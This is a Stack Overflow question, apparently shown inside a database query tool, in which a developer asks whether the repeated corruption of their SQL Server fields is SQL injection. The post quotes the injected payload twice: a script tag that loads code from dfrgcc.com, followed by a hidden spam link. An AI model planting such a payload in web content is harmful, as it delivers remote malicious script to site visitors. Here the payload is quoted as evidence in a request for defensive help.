Note that there are some explanatory texts on larger screens.

plurals
  1. POIs it a SQL injection?
    primarykey
    data
    text
    <p>I am finding my SQL Server database fields getting hacked as follows. Please note that <code>Original Content</code> is existing value of the field and it gets changed to following. </p> <pre><code>Original Content&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt;&lt;/title&gt;&lt;a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 &gt;crack&lt;/a&gt; </code></pre> <p>I assume it's a SQL injection attack. If not, please guide. I have ensured following, however the DB gets hacked every few days.</p> <p>1) All my data access is in dataset files i.e. <code>app_code\DataLayer.xsd</code>. I call my data methods as follows.</p> <pre><code>Dim memberDAL As new membersTableAdapter Dim memberName As String = tbName.text memberDAL.insertMember(memberName) </code></pre> <p>Does above code gets qualified as parametrized query. Is it safe data access as far as my problem is concerned. All data access is done in this manner. There are number of forms with lot of input fields, and the content DOES go in database. However what seems to be happening is not INSERT but a UPDATE. Even membership tables are being affected. e.g. in <code>aspnet_users</code> table a username called 'admin' changes to following.</p> <pre><code>admin&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt;&lt;/title&gt;&lt;a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 &gt;crack&lt;/a&gt;&lt;/title&gt;&lt;script src=http://dfrgcc.com/ur.php&gt;&lt;/script&gt; </code></pre> <p>2)I have used CAPTCHA to exclude bots, but this did not help.</p> <p>I am on shared host, as per server admin I need to sanitize my code. Please advise.</p>
    singulars
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload